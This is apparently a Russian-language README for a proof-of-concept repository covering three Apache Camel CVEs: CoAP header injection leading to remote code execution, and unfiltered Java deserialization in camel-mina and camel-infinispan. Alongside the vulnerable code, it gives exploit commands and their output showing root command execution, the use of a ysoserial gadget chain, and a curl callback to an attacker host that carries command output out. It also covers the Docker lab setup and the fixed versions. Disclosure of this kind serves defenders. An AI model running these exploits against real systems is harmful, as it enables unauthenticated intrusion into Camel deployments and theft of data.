
Предоставляет рабочие proof-of-concept эксплойты и подробный анализ трёх критических уязвимостей Apache Camel, включая внедрение заголовков CoAP и небезопасную десериализацию, приводящую к удалённому выполнению кода.
| CVE | Компонент | Тип | CVSS | Вердикт |
|---|
| CVE-2026-33453 | camel-coap | Инъекция заголовков → RCE | 10.0 Critical | Эксплуатируемая |
| CVE-2026-40473 | camel-mina | Небезопасная десериализация → RCE | 9.8 Critical | Эксплуатируемая |
| CVE-2026-40858 | camel-infinispan | Небезопасная десериализация | 8.8 High | Эксплуатируемая |
Компонент: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (Некорректно контролируемая модификация атрибутов объектов)
Исправлено в: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() напрямую сопоставляет параметры URI-запроса CoAP с заголовками Camel Exchange через setHeader() без HeaderFilterStrategy. CoAPEndpoint расширяет DefaultEndpoint вместо DefaultHeaderFilterStrategyEndpoint, поэтому внутренние заголовки с префиксом Camel* могут быть внедрены любым неаутентифицированным клиентом.
Когда маршрут пересылает данные в camel-exec, управляемые атакующим заголовки CamelExecCommandExecutable и CamelExecCommandArgs переопределяют сконфигурированную команду, обеспечивая RCE без аутентификации с помощью одного UDP-пакета.
// CamelCoapResource.java:103-109 — НЕТ HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Response: 2.05
[+] Command output: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Command output: app bin boot dev etc home lib ...
Компонент: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (Десериализация недоверенных данных)
Исправлено в: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) создаёт сырой java.io.ObjectInputStream без ObjectInputFilter. Когда конечная точка MINA сконфигурирована с allowDefaultCodec=false, сырые TCP-данные поступают как IoBuffer и достигают преобразователя типов Camel, который вызывает этот метод — оборачивая управляемые атакующим сетевые байты в нефильтрованный ObjectInputStream.
// MinaConverter.java:60-63 — НЕТ ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // управляемые атакующим байты, БЕЗ ФИЛЬТРА
}
Вектор атаки: Эксплойт нацелен на TCP-конечную точку MINA с allowDefaultCodec=false (порт 9879 в PoC). Это полностью обходит уровень кодеков MINA — ObjectSerializationCodecFactory имеет собственный allowlist ClassNameMatcher, который в противном случае заблокировал бы произвольные классы. При отключённом кодеке сырые байты поступают напрямую в MinaConverter.toObjectInput(), который создаёт стандартный ObjectInputStream без какой-либо фильтрации классов.
Цепочка гаджетов CommonsCollections6 (через ysoserial) обеспечивает выполнение произвольных команд от имени root. Вывод команд извлекается через curl callback на атакующего.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMED: CVE-2026-40473 RCE — команда выполнена через десериализацию
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Command output:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (гаджет CommonsCollections6)cd poc/
docker compose up -d --build
Дождитесь запуска контейнера, затем проверьте:
docker logs vuln-camel-mina
Вы должны увидеть:

[*] Vulnerable MINA server started
[*] Port 9877: transferExchange (Java deser) endpoint
[*] Port 9878: Object serialization codec endpoint
[*] Port 9879: Raw TCP (MinaConverter.toObjectInput) endpoint
[*] Waiting for connections...
Порт 9879 является целью — он использует allowDefaultCodec=false, что отключает фильтр кодеков MINA и позволяет сырому IoBuffer достигать нефильтрованного MinaConverter.toObjectInput() в Camel.
Сначала убедитесь, что конечная точка принимает и десериализует произвольные Java-объекты без ObjectInputFilter:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Probe mode — confirming deserialization (no RCE)
[*] Payload: HashMap (82 bytes, raw — no MINA frame)
[+] Connected to MINA endpoint
[+] Payload sent
[+] Data reached readObject() with no filter rejection
Проверка отправляет сериализованный HashMap. Сервер десериализует его через ObjectInputStream.readObject() без InvalidClassException — что подтверждает отсутствие фильтрации классов.
С доступным ysoserial эксплуатируйте нефильтрованную десериализацию для выполнения произвольных команд:
# Выполнить 'id' — возвращает uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Чтение файлов
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# Информация о системе
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
Эксплойт генерирует цепочку гаджетов CommonsCollections6, отправляет её как сырые байты на порт 9879 и перехватывает вывод команды через прослушиватель curl callback.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target IP-адрес/имя хоста цели
port TCP-порт MINA (по умолчанию: 9879)
command Команда для выполнения (по умолчанию: id)
--ysoserial Путь к ysoserial.jar (автоопределение, если не задан)
--callback-host Хост, через который контейнер связывается с вами (по умолчанию: host.docker.internal)
--gadget Цепочка гаджетов ysoserial (по умолчанию: auto — пробует CC6, CC5, CC1)
--probe Только режим проверки — подтверждение десериализации без RCE
--raw Отправка сырого payload без 4-байтового фрейма MINA (автовключение для порта 9879)
Примечание: --callback-host по умолчанию равен host.docker.internal (Docker Desktop). При работе на Linux без Docker Desktop используйте --callback-host 172.17.0.1 или IP-адрес вашего моста Docker.
cd poc/
docker compose down
Компонент: camel-infinispan — DefaultExchangeHolderUtils.java:46-53
CWE: CWE-502 (Десериализация недоверенных данных)
Исправлено в: Camel 4.18.2 / 4.14.7 / 4.20.0
DefaultExchangeHolderUtils.deserialize(byte[]) создаёт ClassLoadingAwareObjectInputStream без ObjectInputFilter. DefaultExchangeHolderProtoAdapter направляет байты кэша Infinispan напрямую в этот метод. Атакующий с правами записи в кэш (порт Hot Rod 11222 или REST API) внедряет вредоносный сериализованный payload, который десериализуется при получении ключа репозиторием агрегации.
Это тот же шаблон уязвимости, что и CVE-2024-22369, CVE-2024-23114 и CVE-2026-25747 — все неисправленные экземпляры readObject() без ObjectInputFilter в путях десериализации Camel.
// DefaultExchangeHolderUtils.java:46-53 — НЕТ ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
return (DefaultExchangeHolder) ois.readObject(); // управляемые атакующим данные
}
}


cd poc/
docker compose up -d --build
Это запускает:
vuln-camel-coap — конечная точка CoAP на UDP-порту 5683 с маршрутом camel-execvuln-camel-mina — TCP-конечные точки MINA на портах 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory) и 9879 (сырой TCP — основная цель атаки)infinispan — сервер Infinispan на порту 11222vuln-camel-infinispan — репозиторий агрегации Camel на базе Infinispan# CVE-2026-33453: Инъекция заголовков CoAP → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'
# CVE-2026-40473: Небезопасная десериализация MINA → RCE (см. подробные инструкции выше)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# CVE-2026-40858: Небезопасная десериализация Infinispan
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222
cd poc/
docker compose down
Эта оценка была выполнена с использованием фреймворка автономного исследования безопасности RAPTOR:
camel-coap, camel-mina, camel-infinispan)/scan) — Автоматическое обнаружение уязвимостей во всех 3 компонентах/understand --map) — Картирование поверхности атаки: точки входа, границы доверия, стоки, непроверенные потоки данных/validate) — Полный 8-этапный конвейер валидации эксплуатируемости (Этапы 0 → A → B → C → D → E → F → 1), подтверждающий, что все 3 находки реальны, достижимы и эксплуатируемы/exploit) — Разработка рабочих PoC с тестовой средой на базе Docker| CVE | Версия исправления | Изменение |
|---|---|---|
| CVE-2026-33453 | 4.18.1 / 4.14.6 | CoAPEndpoint → расширяет DefaultHeaderFilterStrategyEndpoint; CoAPComponent → реализует HeaderFilterStrategyComponent |
| CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | Добавлен ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") перед readObject() |
| CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | Добавлен allowlist ObjectInputFilter (тот же шаблон); откат к JVM-фильтру сериализации, если он сконфигурирован |
Это исследование предназначено только для авторизованного тестирования безопасности и образовательных целей. Все эксплойты были протестированы на локально собранных Docker-контейнерах с запущенным уязвимым ПО. Обновитесь до указанных выше исправленных версий.